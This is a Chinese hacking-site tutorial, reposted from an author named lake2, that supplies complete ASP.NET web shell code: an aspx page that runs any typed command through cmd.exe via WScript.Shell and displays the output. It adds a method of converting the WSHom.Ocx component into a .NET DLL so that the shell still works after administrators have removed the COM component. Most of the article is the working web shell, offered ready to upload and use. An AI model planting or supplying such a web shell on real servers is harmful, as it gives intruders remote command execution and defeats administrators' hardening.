通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
ASP.NET下使用WScript.Shell执行命令
责任编辑:酷酷の鱼   更新日期:2008-2-10
 
来源:lake2的专栏

ASP.NET下有自己的执行CMD命令的方式,这里用WScript.Shell似有画蛇添足之嫌,但是我们也不能排除真的有机器禁用了.NET的相关类,未雨绸缪嘛。当然也不仅仅局限于WScript.Shell,只要是ASP中能用的组件,统统都可以用于ASP.NET中,而且还更方便!
ASP.NET提供了两种方法让我们使用COM组件:1、Server对象的CreatObject方法;2、将COM组件转化为.NET组件。

·Server对象的CreatObject方法
这个方法比较简单,直接使用就是。当然前提是服务器上已经注册了该组件,而WScript.Shell是系统自带的,我们不用担心。只是在编写代码时注意ASP.NET与ASP语法上的细微差别就可以了。直接给出代码如下:
<!--
Titel: WScript.Shell .NET Version 1
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org
Thanks: Internet
Date: 2005-8-20
-->
<%@ Page Language="VB" validateRequest = "false" aspcompat = "true" %>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
 Dim StrResult As String
 Dim CMDShell As Object
 CMDShell = Server.CreateObject("WScript.Shell")
 StrResult = CMDShell.eXec( CMDPath.Text & " /c " & CMDBox.Text ).stdout.readall
 StrResult = Replace(StrResult , "<","&lt;")
 StrResult = Replace(StrResult , ">","&gt;")
 ResultLabel.Text = "<pre>" & StrResult & "</pre>"
end sub
</script>
<html>
<head><title>WSH.SHell For ASP.NET By lake2</title></head>
<body>
<form runat="server">
 "cmd.exe"’s path:&nbsp;<asp:TextBox ID="CMDPath" Width="500" Text="cmd.exe" runat="server" /> 
 <br>
 Your Command:&nbsp;&nbsp;<asp:TextBox ID="CMDBox" Width="200" runat="server" /> 
 <asp:Button ID="Button" Text="Run" OnClick="runcmd" runat="server" />
 <br>
 <asp:Label ID="ResultLabel" runat="server" /> 
</form>
<div align="center">----------- <font color="#0000FF">Enjoy Hacking!</font> -----------
</div>
<hr width="50%">
</body>
</html>
保存为aspx文件,访问之,即可。

·将COM组件转化为.NET组件
微软给我们提供了类型库导入器(Type Library Importer),经过它的转换,我们就可以使用COM组件了。转换之后,会有一个dll文件,需要放到Web目录的bin目录下组件才可以被使用。
虽然这样多了一个dll,但是这个dll不需要注册就可直接使用,非常方便,这也是ASP.NET与ASP的区别之一。哈哈,有的BT管理员没事要删除“有害”的组件,现在他也没办法了吧^_^
WScript.Shell对象是%windir%\system32\WSHom.Ocx,我们把它copy出来拿给类型库导入器转换:Tlbimp.exe WSHom.Ocx /out: WSHomx.dll
然后把WSHomx.dll放到WEB目录的bin下面。接着写代码咯,与前面的代码有少许不同。

<!--
Titel: WScript.Shell .NET Version 2
Author: lake2
Mail: lake2@mail.csdn.net
Site: http://lake2.0x54.org
Thanks: Internet
Date: 2005-8-20
-->
<%@ Page Language="VB" validateRequest="false"%>
<script runat="server">
sub runcmd(Src As Object, E As EventArgs)
 Dim StrResult As String
 Dim CMDShell As New WSHomx.WshShell
 ……
(后同代码1)
现在访问之,看看效果吧:)

同理,我们也可以在ASP.NET下用FSO读写文件,Application执行命令、Jmail发送邮件,等等等等。呵呵,.NET大有前途的啊。
(文中的程序点击这里下载。wscmd.aspx可直接使用;wsxcmd.aspx需使用wshomx.dll) 
  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    普通文章 瑞星公司02月02日发布 每日计算机病毒及木马播报
    推荐文章 瑞星公司02月10日发布 每日计算机病毒及木马播报
    普通文章 手机短信传祝福也得注意防病毒
    普通文章 春节临近提高警惕 网上交易安全第一
    普通文章 福建省首例虚拟财产盗窃案告破 损失达10万元
    普通文章 应用技巧:如何保障无线网络安全?
    普通文章 识破欺骗 教你简单方法查找黑客老巢
    普通文章 Coppermine Photo Gallery跨站脚本及SQL注入漏洞
    普通文章 推荐:SQL注入技术和跨站脚本的安全检测
    普通文章 ASP.NET下使用WScript.Shell执行命令
    热门文章
    普通文章钓鱼黑客藏身三类网站 专家支招防偷、防骗
    普通文章火车网内藏28个病毒 会给网游玩家带来损失
    普通文章网上下载电影两成带病毒 已有不少用户中招
    普通文章尴尬的苹果 超过1/4的iPhone被解锁
    普通文章中国式闹剧 十进制网络和IPv9
    普通文章中国垃圾邮件趋势报告发布 总数增加和人均下降
    普通文章北京三成高中生认为黑客乃是智慧化身
    普通文章黑客攻击新浪网案告破
    普通文章瑞星公司01月31日发布 每日计算机病毒及木马播报
    普通文章隐藏VPN传入的连接
    精彩专题